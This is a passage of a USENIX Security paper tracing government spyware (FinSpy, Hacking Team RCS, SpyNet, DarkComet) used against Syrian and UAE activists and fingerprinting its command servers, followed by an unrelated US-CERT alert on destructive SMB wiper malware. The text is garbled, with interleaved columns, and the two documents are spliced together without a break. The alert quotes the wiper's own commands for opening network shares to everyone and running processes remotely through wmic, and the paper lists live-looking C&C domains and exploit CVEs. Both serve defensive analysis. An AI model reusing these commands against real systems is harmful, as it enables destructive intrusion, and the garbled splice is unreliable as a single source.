“Aleppo Plan”
Victim(s) Bn    Clicks                                              Opp.
Member C         NGO Worker D
file        Account seeds
“Aleppo Plan”
Figure 3: A sample from the ecosystem of Syrian malware campaigns.
events in the ongoing conflict.
For example, campaigns dwin-
dled and then rebounded within hours after Syria’s 2012 Inter-
net shutdown [48].
Similarly, activity observed by the authors
also dwindled prior to expectation of US-led military action
against Syrian government targets in September 2013.
Once
this option appeared to be off the table, the volume of new
samples and campaigns we observed again increased, includ-
ing the recent targeting of NGO workers per Figure 3.
We are
aware of only a negligible number of cases of the opposition
using similar RATs against Syrian Government supporters, al-
though evidence exists of other kinds of electronic attacks by
third parties.
Real world consequences.
The logistics and activities of
Syria’s numerous opposition groups are intentionally concealed
from public view to protect both their efficacy, and the lives of
people participating in them.
Nevertheless, Syrian opposition
members are generally familiar with stories off digital compro-                         Figure 4: The fake Skype program distracts the victim
mises of high-profile figures, including those entrusted with the                       with the promise of encrypted communications while in-
most sensitive roles, as well as rank-and-file members.
Com-                            fecting their machine with DarkComet.
promise of operational security poses a documented threat to
life both for victims of electronic compromise, and to family
members and associates.
The Syrian conflict is ongoing, making it difficult to assem-
7
USENIX Association 	                                                                                               23rd USENIX Security Symposium  517
ble comprehensive evidence of linkages between government                      UAE Gov't         HackingTeam            3-Stage
Exploit Kit
actors and malware campaigns.
Moreover, many individuals                                                                                 owner.no-ip.biz
whose identities have been compromised are in prison or oth-
erwise disappeared, and thus unable to relate the evidence pre-                            CVE-2010-3333
sented to them during interrogation.
Still, strong circumstantial
evidence links the use of RATs, phishing, and government ac-
“wikileaks”         Xtreme RAT
tivity, which we briefly summarize here: (1) many Syrians have                             RCS                 “veryimportant”
recounted to journalists and the authors how interrogators con-
fronted them with material from their computers.
For example:
The policeman told me, “Do you remember when
you were talking to your friend and you told him
you had something wrong [sic] and paid a lot of                                                    Author
money?
At that time we were taking information                              ar-24.com                                Communicated
via E-Mail
from your laptop.” [41]
(2) Syrian activists have supplied cases to international journal-
ists [41], where arrests are quickly followed by the social me-                  Ahmed
Laptop
infected
dia accounts of detained individuals seeding malware to contact                                                 E-Mail account
lists (Figure 3).
(3) Finally, despite the notoriety of the attack                                              compromised
campaigns, including mention of C&C IPs in international me-
dia [45], the Syrian government has made no public statements
about these campaigns nor acted to shut down the servers.
Figure 5: Part of the ecosystem of UAE surveillance at-
Beyond the ongoing challenges of attribution, these malware          tacks.
campaigns have a tangible impact on the Syrian opposition, and
generally align with the interests of the Syrian government’s            from ar-24.com, which in turn downloaded spyware from
propaganda operations.
The case of Abdul Razzaq Tlass, a                 ar-24.com.
We denote this combination as the 3-Stage Ex-
leader in the Free Syrian Army, is illustrative of the potential         ploit Kit in Figure 5.
uses of such campaigns.
In 2012 a string of videos emerged                  The C&C server also ran on ar-24.com.
When we ob-
showing Tlass sexting and engaged in lewd activity in front of           tained the sample in July 2012, ar-24.com resolved to an
a webcam [49].
While he denied the videos, the harm to his rep-          IP address on Linode, a hosting provider.
Three months later, it
utation was substantial and he was eventually replaced [50].
resolved to a UAE address belonging to the Royal Group [52],
an organization linked to the UAE government; it is chaired by
Sheikh Tahnoon bin Zayed Al-Nayhan, a member of the UAE
4.3    UAE
ruling family and a son of the founder of the UAE.
While the UAE has experienced no recent uprising or politi-                 Identification as RCS: We identified strings in memory
cal unrest, it has nevertheless cracked down on its opposition,          that matched those in a Symantec analysis [53] of RCS (also
concurrent with the Arab Spring.
known as DaVinci or Crisis), a product of the Italian com-
The first attacks we observed in the UAE involved a                   pany Hacking Team [54].
We also located a structurally sim-
government-grade “lawful interception” trojan known as Re-               ilar Word document via VirusTotal.
The document used the
mote Control System (RCS), sold by the Italian company Hack-             same exploit and attempted to download a second stage from
ing Team.
The associated C&C server indicated direct UAE                 rcs-demo.hackingteam.it, which was unavailable at
government involvement.
Over time, we stopped receiving                  the time of testing.
RCS samples from UAE targets, and instead observed a shift                  Analysis of capabilities: RCS has a suite of functionality
to the use of off-the-shelf RATs, and possible involvement of            largely similar to FinSpy.
One difference was in the vectors
cyber-mercenary groups.
However, poor attacker operational               used to install the spyware.
We located additional samples (see
security allowed us to link most observed attacks together.
§ 5), some of which were embedded in a .jar file that installs
an OS-appropriate version of RCS (Windows or OSX), option-
RCS.
UAE activist Ahmed Mansoor (per Figure 5), impris-                  ally using an exploit.
If embedded as an applet, and no exploit
oned from April to November 2011 after signing an online pro-            is present, Java displays a security warning and asks the user
democracy petition [51], received an e-mail purportedly from             whether they authorize the installation.
We also saw instances
“Arabic Wikileaks” in July 2012.
He opened the associated at-            of the 3-Stage Exploit Kit where the first stage contained a
tachment, “veryimportant.doc,” and saw what he described as              Flash exploit; in some cases, we could obtain all stages and
“scrambled letters”.
He forwarded us the e-mail for investiga-           confirm that these installed RCS.
Some samples were packed
tion.
with the MPress packer [55], and some Windows samples were
The attachment exploited CVE-2010-3333, an RTF pars-                  obfuscated to look like the PuTTY SSH client.
ing vulnerability in Microsoft Office.
The document did not                 Another difference is in persistence.
For example, the RCS
contain any bait content, and part of the malformed RTF                  sample sent to Ahmed adds a Run registry key, whereas the
that triggered the exploit was displayed in the document.
FinSpy samples used in Bahrain overwrite the hard disk’s boot
The exploit loaded shellcode that downloaded a second stage              sector to modify the boot process; the spyware is loaded be-
8
518  23rd USENIX Security Symposium	                                                                                                 USENIX Association
fore the OS, and injects itself into OS processes as they start.
faddeha.com              hamas.sytes.net     dreems.no-ip.ca
The RCS samples we examined also had the ability to propa-
Hosts sample that          Same IP            SameIP1
gate to other devices, including into inactive VMWare virtual                                     talks to C&C
machines by modifying the disk image, onto USB flash drives,
CVE-2013-0422
and onto Windows Mobile phones.
We did not observe similar                                                           Used by sample
that talks to C&C
capabilities in the FinSpy samples we examined.
Journalist A,
H.R.
activist B    njq8
Journalist F
Exploitation of captured data: When Ahmed Mansoor re-
ceived the RCS document, he opened it, infecting his computer                  njRAT                           VB Packer                   upload.bz
(Figure 5).
Ahmed subsequently noted several suspicious ac-                               storge.myftp.org
cesses to his GMail account using IMAP.
Even after he changed
his password, the accesses continued.
While corresponding
with Ahmed on his compromised account, an author of this pa-
per discovered that the attackers had installed an application-
specific password [56] in Ahmed’s GMail account, a secondary                            Relative of                                  SpyNet
political detainee D
password that they apparently used to access his account even
after he changed his main password.
The suspicious accesses                        Journalist C
stopped after removal of the application-specific password.
Two weeks after this correspondence with Ahmed, one of us
(Author in Figure 5) received a targeted e-mail with a link to                                    H.R.
activist E
a file hosted on Google Docs containing a commercial off-the-                   SameIP1
shelf RAT, Xtreme RAT.
The e-mail was sent from the UAE’s
timezone (as well as of other countries) and contained the terms                 sn.all-google.com           DarkComet      Appin       CVE 2012-0158
“veryimportant” and “wikileaks”, just like in the e-mail re-
ceived by Ahmed.
The instance of Xtreme RAT sent to Author used                       Figure 6: Another part of the ecosystem of UAE surveil-
owner.no-ip.biz for its C&C, one of the domains men-                    lance attacks.
tioned in a report published by Norman about a year-long cam-
paign of cyberattacks on Israeli and Palestinian targets carried
out by a group that Norman was unable to identify [57].
Three           Off-the-shelf RATs.
We found a file that VirusTotal had
months after Author was targeted, Ahmed received an e-mail              downloaded from faddeha.com, which appeared to be a re-
containing an attachment with Xtreme RAT that talked to the             mote access toolkit known as SpyNet, available for general pur-
same C&C server (Figure 5), suggesting that the attackers who           chase for 50 Euros [60].
The SpyNet sample communicated
infected Ahmed with RCS may have provided a list of interest-           with the C&C hamas.sytes.net.
ing e-mail addresses to another group for further targeting.
SpyNet Packing: We found another instance of the first
stage of the 3-Stage Exploit Kit on VirusTotal.
The exploit
Possible consequences: Shortly after he was targeted,                downloaded a second stage, which in turn downloaded a sam-
Ahmed says he was physically assaulted twice by an attacker             ple of SpyNet from maile-s.com.
This sample of SpyNet
who appeared able to track Ahmed’s location [58].
He also re-           communicated with the same C&C hamas.sytes.net.
ports that his car was stolen, a large sum of money disappeared         The sample was packed using ASProtect [61].
When run, the
from his bank account, and his passport was confiscated [59].
sample unpacks a compiled Visual Basic project that loads, via
He believes these consequences are part of a government in-             the RunPE method [62], an executable packed with UPX [63].
timidation campaign against him, but we did not uncover any             Finally, this executable unpacks SpyNet.
SpyNet’s GUI only
direct links to his infection.
(Interestingly, spyware subse-           offers an option to pack with UPX, suggesting that the attack-
quently sent to others has used bait content about Ahmed.)
ers specially added the other layers of packing.
In some cases,
Further attacks: In October 2012, UAE Journalist A and               the Visual Basic project bears the name NoWayTech, which
Human Rights activist B (per Figure 6) forwarded us suspi-              appears to be an underground RunPE tool, while others are
cious e-mails they had received that contained a Word docu-             named SpyVisual, which we have been unable to trace to any
ment corresponding to the first stage of 3-Stage Exploit Kit            public underground tools, and thus also may reflect customiza-
(Figure 5).
The attachment contained an embedded Flash file             tion by the attacker.
The SpyVisual projects contain the string
that exploited a vulnerability fixed in Adobe Flash 11.4, loading       c:\Users\Zain\AppData\Local\Temp\OLE1EmbedStrm.wav,
shell code to download a second stage from faddeha.com.
which we used as the fingerprint VB Packer in Figure 6.
We were unable to obtain the second stage or the ultimate pay-             Cedar Key attack: The same VB Packer was used in an
load, as the website was unavailable at the time of testing.
attack on Relative of political detainee D and H.R.
activist
However, the exploit kit appears indicative of Hacking Team             E in Figure 6.
These individuals received e-mails containing a
involvement.
A page on faddeha.com found in Google’s                    link to a web page hosted on cedarkeyrv.com impersonat-
cache contained an embedded .jar with the same applet class             ing YouTube.
Loading the page greeted the target with “Video
(WebEnhancer) as those observed in other .jar files that we             loading please wait . . .” The page redirected to a YouTube
found to contain RCS.
video a few seconds later, but first loaded a Java exploit [64]—a
9
USENIX Association 	                                                                                 23rd USENIX Security Symposium  519
known vulnerability with no patch at the time that the e-mails           servers to develop indicators (fingerprints) for how the servers
were sent.
Oracle released a patch 12 hours after activists began        respond to certain types of requests.
We then scanned the full
receiving these links.
Internet IPv4 address space (“/0”) for these, along with prob-
The cedarkeyrv.com domain is associated with an RV                    ing results found by past scans.
In many cases we do not release
park in Cedar Key, Florida.
The website’s hosting company                the full details of our fingerprints to avoid compromising what
told us that the site had apparently suffered a compromise, but          may be legitimate investigations.
did not have further details.
The exploit used in the attack appears to have been origi-
5.1    FinSpy
nally posted by a Kuwaiti user, njq8, on an Arabic-language
exploit sharing site [65].
We contacted njq8, who told us                Identifying and linking servers: We developed a number
that he had obtained the exploit elsewhere and modified it               of fingerprints for identifying FinSpy servers using HTTP-
prior to posting.
The attack downloaded an instance of                   based probing as well as FinSpy’s custom TLV-based proto-
SpyNet from isteeler.com (which from our inspection did                  col. We leveraged quirks such as specific non-compliance
not appear to have any legitimate content), which used the               with RFC 2616, responses to certain types of invalid data,
C&C storge.myftp.org.
This same C&C occurred in an-                      and the presence of signatures such as the bizarre “Hallo
other attack (Figure 6) targeting Relative of political detainee         Steffi” that Guarnieri identified from Bahraini FinSpy C&C
D; in that case, the payload was a freely-available RAT known            servers [67, 68].
See Appendix A for details.
We then exhaus-
as njRAT, written by the same njq8 as the exploit-poster dis-            tively scanned the Internet looking for matches to these finger-
cussed above.
However, we did not find any other evidence                prints.
suggesting njq8’s involvement in either attack.
Gamma documentation advertises that an operator of FinSpy
More SpyNet attacks: The domain hamas.sytes.net,                      can obscure the location of the C&C server (called the mas-
which we previously saw used by two SpyNet sam-                          ter) by setting up a proxy known as a relay.
In Spring 2013
ples, resolved to 67.205.79.177.
Historically,        we noticed FinSpy servers now issuing 302 Redirects to
dreems.no-ip.ca also resolved to this address.
An                        google.com.
However, we noticed anomalies: for ex-
unidentified dropper using this C&C targeted Journalist F; a             ample, servers in India were redirecting to the Latvian ver-
SpyNet attack on Relative of political detainee D also used              sion of Google google.lv.
We suspect that the server
this C&C.
In that latter case, the sample arrived via e-mail             in India was a relay forwarding to a master in Latvia.
Be-
in a .rar attachment that contained an .scr file disguised               cause the master served as a proxy for Google, we could
as a Word document.
The .scr file was a self-extracting                  uncover its IP address using a Google feature that prints a
archive that decompressed and ran both the bait document                 user’s IP address for the query “IP address.” We created an
and the payload.
The SMTP source of the e-mail was                       additional fingerprint based on the proxying behavior and is-
webmail.upload.bz.
sued GET /search?q=ip+address&nord=1 requests to
Appin: In early 2013 UAE H.R.
activist E forwarded nu-                servers We note some interesting master locations in Table 4.
merous documents that included a particular CVE-2012-0158                   Server locations: In all, our fingerprints matched 92 dis-
exploit for Microsoft Word.
In all, these totaled 17 distinct            tinct IP addresses in 35 different countries.
Probing these on
hashes of documents, and 10 distinct hashes of payloads (some            8/8/13 revealed 22 distinct addresses still responding, sited
documents that differed in their hash downloaded the same pay-           in: Bahrain, Bangladesh, Bosnia and Herzegovina, Estonia,
load).
The exploits primarily downloaded instances of SpyNet             Ethiopia, Germany, Hong Kong, Indonesia, Macedonia, Mex-
from upload.bz, which for the most part communicated                     ico, Romania, Serbia, Turkmenistan, and the United States.
We
with C&C at sn.all-google.com.
This domain was also                      found servers responding to a number of our fingerprints, sug-
used for C&C in other attacks, including that on Journalist C.           gesting either that some servers lag in their updates, or a con-
Two of the other CVE-2012-0158 exploits down-                         certed effort to vary the behavior of FinSpy servers to make
loaded DarkComet from www.getmedia.us and                                detection harder.
www.technopenta.com after posting system infor-                             We found: (1) 3 IP addresses in ranges registered to Gamma.
mation to random123.site11.com.
All three domains                        (2) Servers in 3 IP ranges explicitly registered to govern-
match those used by an Indian cybermercenary group said                  ment agencies: Turkmenistan’s Ministry of Communications,
to be linked to Appin Security Group [66].
The former          Qatar’s State Security Bureau, and the Bulgarian Council of
two domains hosted content other than spyware (i.e., they                Ministers.
(3) 3 additional IP addresses in Bahrain, all in
may have been compromised).
We alerted the owner of                      Batelco.
(4) Servers in 7 countries with governments classified
www.getmedia.us, who removed the payloads.
as “authoritarian regimes” by The Economist [69]: Bahrain,
Ethiopia, Nigeria, Qatar, Turkmenistan, UAE, Vietnam.
Additional FinSpy samples: In parallel to our scanning,
5    Empirical characterization                                          we obtained 9 samples of FinSpy by writing YARA [70] rules
for the “malware hunting” feature of VirusTotal Intelligence.
The samples we received afforded us an opportunity to em-                This feature sends us all newly-submitted samples that match
pirically characterize the use of FinFisher and Hacking Team             our signatures.
We located a version of FinSpy that does not
around the world, enabling us to assess their prevalence, and            use the normal FinSpy handshake, but instead uses a protocol
identify other country cases that may warrant future investiga-          based on HTTP POST requests for communication with the
tion.
We analyzed the samples and the behavior of their C&C              C&C server.
This did not appear to be an older or newer ver-
10
520  23rd USENIX Security Symposium	                                                                               USENIX Association
Relay IP             Relay Block Assignment    Relay Country    Master IP               Master Block Assignment    Master Country
5.199.xxx.xxx        SynWebHost                Lithuania        188.219.xxx.xx          Vodafone                   Italy
46.23.xxx.xxx        UK2 VPS.net               UK               78.100.xxx.xxx          State Security Building    Qatar
119.18.xxx.xxx       HostGator                 India            81.198.xxx.xxx          Statoil DSL                Latvia
180.235.xxx.xxx      Asia Web Services         Hong Kong        80.95.xxx.xxx           T-Systems                  Czech Republic
182.54.xxx.xxx       GPLHost                   Australia        180.250.xxx.xxx         PT Telekom                 Indonesia
206.190.xxx.xxx      WestHost                  USA              112.78.xxx.xxx          Biznet ISP                 Indonesia
206.190.xxx.xxx      Softlayer                 USA              197.156.xxx.xxx         Ethio Telecom              Ethiopia
209.59.xxx.xxx       Endurance International   USA              59.167.xxx.xxx          Internode                  Australia
209.59.xxx.xxx       Endurance International   USA              212.166.xxx.xxx         Vodafone                   Spain
Table 4: Deproxifying FinSpy (mapping initial C&C IP addresses to the masters to which they forward).
sion of the protocol, suggesting that our scan results may not                  Country            IPs             Provider           IPs
reveal the full scope of FinSpy C&C servers.
Perhaps, the                     United States         61              Linode             42
HTTP POST protocol was only delivered to a specific Gamma                    United Kingdom         18            NOC4Hosts            16
customer to meet a requirement.
Italy            16           Telecom Italia         9
Japan             10           Maroc Telecom          7
Morocco              7             InfoLink             6
5.2    Remote Control System (RCS)
We began by analyzing the UAE RCS sample from Ahmed and
Table 5: Top countries and hosting providers for RCS
6 samples obtained from VirusTotal by searching for AV re-
servers active on 11/4/13.
sults containing the strings “DaVinci” and “RCS.” At the time,
several AV vendors had added detection for RCS based on a
sample analyzed by Dr.
Web [71] and the UAE RCS sample                    ing one of our fingerprints in 29 different countries.
We sum-
sent to Ahmed.
We also similarly obtained and analyzed sam-               marize the top providers and countries in Table 5.
ples of FSBSpy [72], a piece of malware that can report system               The prevalence of active servers either located in the USA or
information, upload screenshots, and drop and execute more                hosted by Linode is striking,8 and seems to indicate a pervasive
malware, Based on these samples, we devised YARA signa-                   use of out-of-country web hosting and VPS services.
tures that yielded 23 additional samples of structurally similar             In addition, we found: (1) 3 IP addresses on a /28 named
malware.
“HT public subnet” that is registered to the CFO of Hacking
Fingerprints: We probed the C&C servers of the RCS and                Team [76].
The domain hackingteam.it resolves to an
FSBSpy samples, and found that they responded in a distinc-               address in this range.
(2) An address belonging to Omantel, a
tive way to HTTP requests, and returned distinctive SSL cer-              majority-state-owned telecom in Oman.
This address was un-
tificates.
reachable when we probed it; a researcher pointed us to an FS-
BSpy sample that contained an Arabic-language bait document
We searched sources including Shodan, 5 Internet Census
about Omani poetry, which talked to a C&C in the UK.
(3) 7
service probes [73], and Critical.IO scanning data [68] for the
IP addresses belonging to Maroc Telecom.
Moroccan journal-
observed distinctive HTTP behavior.
We searched for the dis-
ists at Mamfakinch.com were previously targeted by RCS in
tinctive SSL certificates in two Internet Census service probes,
2012 [77].
(4) Overall, servers in 8 countries with governments
and SSL certificate scans from ZMap [74].
We also contacted a
deemed “authoritarian regimes” [69]: Azerbaijan, Kazakhstan,
team at TU Munich [75], who applied our fingerprints to their
Nigeria, Oman, Saudi Arabia, Sudan, UAE, Uzbekistan.
SSL scanning data.
Across all of these sources, we obtained
Link to Hacking Team: All active servers match-
31,345 indicator hits reflecting 555 IP addresses in 48 coun-
ing one of our signatures also responded peculiarly when
tries.
queried with particular ill-formed HTTP requests, respond-
One SSL certificate returned by 175 of the servers was issued
ing with “HTTP1/1 400 Bad request” (should be
by “/CN=RCS Certification Authority /O=HT srl,” apparently
“HTTP/1.1”) and a body of “Detected error: HTTP
referring to the name of the spyware and the company.
Servers
code 400”.
Googling for this response yielded a GitHub
for 5 of our FSBSpy samples and 2 of our RCS samples re-
project em-http-server [78], a Ruby-based webserver.
sponded with this type of certificate.
The project’s author is listed as Alberto Ornaghi, a software
Some servers returned these certificates in chains that in-
architect at Hacking Team.
We suspect that the Hacking Team
cluded another distinctive certificate.
We found 175 distinct IP
C&C server code may incorporate code from this project.
addresses (including the C&C’s for 5 of our FSBSpy samples
Links between servers: We identified many cases where
and 2 of our RCS samples) responded with this second type of
several servers hosted by different providers, and in different
certificate.
countries, returned identical SSL certificates matching our fin-
We devised two more indicators: one that matched 125 IP
gerprints.
We also observed 30 active servers used a global
addresses, including 7 of our FSBSpy samples’ C&C’s, and
IPID.
Only one active server had neither a global IPID nor
one that matched 2 IP addresses, in Italy and Kazakhstan.
Server locations: On 11/4/13 we probed all of the IP ad-                  8 19 of the 42 Linode servers were hosted in the USA, so the two
dresses that we collected, finding 166 active addresses match-            patterns of prevalence are mostly distinct.
11
USENIX Association 	                                                                            23rd USENIX Security Symposium  521
an SSL certificate matching our fingerprints.
We assessed                  ing 11 cases in which they appeared to be used in countries
whether servers returning SSL certificates were forwarding to              governed by “authoritarian regimes.”
the servers with global IPIDs by inducing bursts of traffic at the             We aim with this work to inspire additional research efforts
former and monitoring the IPID at the latter.
For 11 servers,              addressing the difficult problem of how to adequately protect
we found that the server’s activity correlated to bursts sent to           individuals with very limited resources facing very powerful
other servers We grouped servers by the SSL certificates they              adversaries.
Open questions include robust, practical detection
returned, and found that each group forwarded to only a sin-               of targeted attacks designed to exfiltrate data from a victim’s
gle server, except for one case where a group forwarded to two             computer, as well as detection of and defense against novel at-
different IPs (both in Morocco).
We also found two groups                  tack vectors, like tampering with Internet connections to insert
that forwarded to the same address.
There was a 1:1 mapping                malware.
between the remaining 8 addresses and groups.
We refer to a                    The task is highly challenging, but the potential stakes are
group along with the server(s) it forwards to as a server group.
likewise very high.
An opposition member, reflecting on gov-
We identified several server groups that may be associated with            ernment hacking in Libya, speculated as to why some users
victims or operators in a certain country.
Some of these suggest           would execute files even while recognizing them as potentially
possible further investigation:                                            malicious [2]: “If we were vulnerable we couldn’t care less . . .
Turkey: We identified a group containing 20 servers in 9                we were desperate to get our voices out .
. . it was a matter of
countries.
Two RCS and 5 FSBSpy samples from VirusTo-                      life or death .
. . it was just vital to get this information out.”
tal communicated with various servers in the group.
The RCS
samples also communicated with domains with lapsed registra-
Acknowledgment
tions, so we registered them to observe incoming traffic.
We ex-
clusively received RCS traffic from Turkish IP addresses.
(RCS             This work was supported by the National Science Foundation
traffic is identifiable based on a distinctive user agent and URL          under grants 1223717 and 1237265, and by a Citizen Lab Fel-
in POST requests.)
A sample of FSBSpy apparently installed                 lowship.
Any opinions, findings, and conclusions or recom-
from an exploit on a Turkish server talked to one of the servers           mendations expressed in this material are those of the authors
in this group.
[79]                                                         and do not necessarily reflect the views of the sponsors.
We also found server groups containing servers in Uzbek-                   The authors would like to thank the following individuals
istan and Kazakhstan; we found FSBSpy samples on Virus-                    for their help in various aspects of our analysis: Bernhard Am-
Total uploaded from these countries that communicated with                 man, Collin D. Anderson, Brandon Dixon, Zakir Durumeric,
servers in these groups.
Eva Galperin, Claudio Guarnieri, Drew Hintz, Ralph Holz,
In the above cases, save Turkey, the country we have identi-            Shane Huntley, Andrew Lyons, Mark Schloesser, and Nicholas
fied is classified as an “authoritarian regime,” and may be using          Weaver.
Hacking Team products against the types of targets we profile
in this paper.
In the case of Turkey, there are hints that the tool
may be employed against dissidents [80].
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522  23rd USENIX Security Symposium	                                                                                   USENIX Association
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Available: http://www.hackingteam.it/
tions,” in USENIX Security, Aug. 2013.
[55] “MPRESS,” accessed: 27-February-2014.
[Online].
[75] “Home of Crossbear and OONIBear,”                      ac-
Available: http://www.matcode.com/mpress.htm
cessed:        27-February-2014.
[Online].
Available:
[56] “Sign in using application-specific passwords,”                      https://pki.net.in.tum.de/
accessed:     27-February-2014.
[Online].
Available:
[76] “RIPE Database Query for FASTWEB-HT,” ac-
https://support.google.com/accounts/answer/185833?hl=en
cessed:        27-February-2014.
[Online].
Available:
[57] S. Fagerland, “Systematic cyber attacks against Is-                  http://bit.ly/MzkigV
raeli and Palestinian targets going on for a year,”             [77] “How Government-Grade Spy Tech Used A Fake Scandal
2012, accessed: 12-November-2013.
[Online].
Available:               To Dupe Journalists,” 2012, accessed: 7-August-2013.
http://bit.ly/1aSdw07
[78] A. Ornaghi, “em-http-server,” accessed: 27-February-
[58] V. Silver, “Spyware Leaves Trail to Beaten                           2014.
[Online].
Available: https://github.com/alor/em-
Activist Through Microsoft Flaw,” 2012, ac-                          http-server
cessed:     14-November-2013.
[Online].
Available:
[79] SophosLabs, “Anatomy of a targeted attack—
http://bloom.bg/1ja2geI
SophosLabs explores an Adobe zero-day “malware
[59] B. Hubbard, “Emirates Balk at Activism in Region                     experiment”,” 2013, accessed 7-August-2013.
[Online].
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Available: http://bit.ly/HQ1oRc
[Online].
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[80] K. Zetter, “American Gets Targeted by Digital
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Available: http://newspynetrat.blogspot.com/                         accessed:      14-November-2013.
[Online].
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[Online].
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[62] “Unpacking VBInject/VBCrypt/RunPE,” 2010, ac-                        With Love: FinFisher’s Spy Kit Exposed?”              Jul.
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http://bit.ly/1e28nS2                                                http://bit.ly/1bngpB2
14
524  23rd USENIX Security Symposium	                                                                           USENIX Association
A     FinSpy fingerprints
Previous work by Guarnieri on scanning for FinSpy servers
found that in response to a request such as GET /, the
Bahraini FinSpy C&C server returns a response with the string
“Hallo Steffi” [67].
Guarnieri searched a database of
such responses compiled by the Critical.IO Internet scanning
project [68], locating 11 additional servers in 10 countries [67].
We refer to this fingerprint as α1 .
Concurrent with this ef-
fort, we devised our own fingerprint β1 that tested three as-
pects of the handshake between a FinSpy infectee and a Fin-
Spy C&C server, which follows a custom TLV-based protocol
running on ports such as 22, 53, 80, and 443.
We conducted
targeted scanning of several countries using β1 , and also con-
firmed Guarnieri’s findings for those servers still reachable af-
ter he published his findings.
We observed a trend: changes in HTTP response behavior
by FinFisher after publication of findings about the software.
In July 2012, for example, after a post about Bahraini FinSpy
samples [81], servers closed the TCP connection in response
to a GET / or HEAD / request (although servers continued
to behave consistently with β1 .
Other changes followed later
in 2012, including a new response to GET / requests that in-
cluded an imperfect copy of an Apache server’s HTTP response
(the Date header used UTC rather than GMT).
We fingerprinted
this error as α2 , and later in 2012 fingerprinted other distinctive
behavior in response to GET / requests as α3 .
Subsequent scans of /0 for α2 and α3 , and five service
probes of the Internet Census for α1 through α3 , located several
additional servers.
In Feburary 2013 we identified and finger-
printed new HTTP response behavior with α4 and modified β1
to produce β2 , which tests only two of the three aspects of the
FinSpy handshake (the third test of β1 was broken when Fin-
Spy servers were updated to accept types of invalid data they
had previously rejected).
As of 3/13/13, all servers that matched any α fingerprint
matched β2 .
15
USENIX Association 	                                                        23rd USENIX Security Symposium  525
Alert (TA14-353A)
Targeted Destructive Malware
Original release date: December 19, 2014
Systems Affected
Microsoft Windows
Overview
US-CERT was recently notified by a trusted third party of cyber threat actors using a Server Message Block (SMB) Worm Tool to conduct cyber exploitation
activities recently targeting a major entertainment company.
This SMB Worm Tool is equipped with a Listening Implant, Lightweight Backdoor, Proxy Tool,
Destructive Hard Drive Tool, and Destructive Target Cleaning Tool.
SMB Worm Tool: This worm uses a brute force authentication attack to propagate via Windows SMB shares.
It connects home every five minutes to send log data
back to command and control (C2) infrastructure if it has successfully spread to other Windows hosts via SMB port 445.
The tool also accepts new scan tasking
when it connects to C2.
There are two main threads: the first thread calls home and sends back logs (a list of successful SMB exploitations), and the second thread
attempts to guess passwords for SMB connections.
If the password is correctly guessed, a file share is established and file is copied and run on the newly-infected
host.
Listening Implant: During installation of this tool, a portion of the binaries is decrypted using AES, with a key derived from the phrase "National Football League."
Additionally, this implant listens for connections on TCP port 195 (for "sensvc.exe" and "msensvc.exe") and TCP port 444 (for "netcfg.dll").
Each message sent to
and from this implant is preceded with its length, then XOR encoded with the byte 0x1F.
Upon initial connection, the victim sends the string, "HTTP/1.1 GET /dns?
\x00."
The controller then responds with the string "200 www.yahoo.com!\x00" (for "sensvc.exe" and "msensvc.exe") or with the string "RESPONSE 200 OK!!"
(for
"netcfg.dll").
The controller sends the byte "!"
(0x21) to end the network connection.
This special message is not preceded with a length or XOR encoded.
Lightweight Backdoor: This is a backdoor listener that is designed as a service DLL.
It includes functionality such as file transfer, system survey, process
manipulation, file time matching and proxy capability.
The listener can also perform arbitrary code execution and execute commands on the command line.
This
tool includes functionality to open ports in a victim host's firewall and take advantage of universal Plug and Play (UPNP) mechanisms to discover routers and
gateway devices, and add port mappings, allowing inbound connections to victim hosts on Network Address Translated (NAT) private networks.
There are no
callback domains associated with this malware since connections are inbound only on a specified port number.
Proxy Tool: Implants in this malware family are typically loaded via a dropper installed as a service, then configured to listen on TCP port 443.
The implant may
have an associated configuration file which can contain a configurable port.
This proxy tool has basic backdoor functionality, including the ability to fingerprint the
victim machine, run remote commands, perform directory listings, perform process listings, and transfer files.
Destructive Hard Drive Tool: This tool is a tailored hard-drive wiping tool that is intended to destroy data past the point of recovery and to complicate the victim
machine’s recovery.
If the CNE operator has administrator-level privileges on the host, the program will over-write portions of up-to the first four physical drives
attached, and over-write the master boot record (MBR) with a program designed to cause further damage if the hard drive is re-booted.
This further results in the
victim machine being non-operational with irrecoverable data (There is a caveat for machines installed with the windows 7 operating system: windows 7 machines
will continue to operate in a degraded state with the targeted files destroyed until after reboot, in which the infected MBR then wipes the drive.)
If the actor has
user-level access, the result includes specific files being deleted and practically irrecoverable, but the victim machine would remain usable.
Destructive Target Cleaning Tool: This tool renders victim machines inoperable by overwriting the Master Boot Record.
The tool is dropped and installed by another
executable and consists of three parts: an executable and a dll which contain the destructive components, and an encoded command file that contains the actual
destruction commands to be executed.
Network Propagation Wiper: The malware has the ability to propagate throughout the target network via built-in Windows shares.
Based on the
username/password provided in the configuration file and the hostname/IP address of target systems, the malware will access remote network shares in order to
upload a copy of the wiper and begin the wiping process on these remote systems.
The malware uses several methods to access shares on the remote systems to
begin wiping files.
Checking for existing shares via “\\hostname\admin$\system32” and “\\hostname\shared$\system32” or create a new share “cmd.exe /q /c net
share shared$=%SystemRoot% /GRANT:everyone, FULL”.
Once successful, the malware uploads a copy of the wiper file “taskhostXX.exe”, changes the file-time
to match that of the built-in file “calc.exe”, and starts the remote process.
The remote process is started via the command “cmd.exe /c wmic.exe /node:hostname
/user:username /password:pass PROCESS CALL CREATE”.
Hostname, username, and password are then obtained from the configuration file.
Afterwards, the
remote network share is removed via “cmd.exe /q /c net share shared$ /delete”.
Once the wiper has been uploaded, the malware reports its status back to one of
the four C2 IP addresses.
Technical and strategic mitigation recommendations are included in the Solution section below.
US-CERT recommends reviewing the Security Tip Handling Destructive Malware #ST13-003.
Description
Cyber threat actors are using an SMB worm to conduct cyber exploitation activities.
This tool contains five components – a listening implant, lightweight backdoor,
proxy tool, destructive hard drive tool, and destructive target cleaning tool.
The SMB worm propagates throughout an infected network via brute-force authentication attacks, and connects to a C2 infrastructure.
Impact
Due to the highly destructive functionality of this malware, an organization infected could experience operational impacts including loss of intellectual property and
disruption of critical systems.
Solution
Users and administrators are recommended to take the following preventive measures to protect their computer networks:
Use and maintain anti-virus software – Anti-virus software recognizes and protects your computer against most known viruses.
It is important to keep your
anti-virus software up-to-date (see Understanding Anti-Virus Software for more information).
Keep your operating system and application software up-to-date – Install software patches so that attackers can't take advantage of known problems or
vulnerabilities.
Many operating systems offer automatic updates.
If this option is available, you should enable it (see Understanding Patches for more
information).
Review Security Tip Handling Destructive Malware #ST13-003 and evaluate their capabilities encompassing planning, preparation, detection, and response
for such an event.
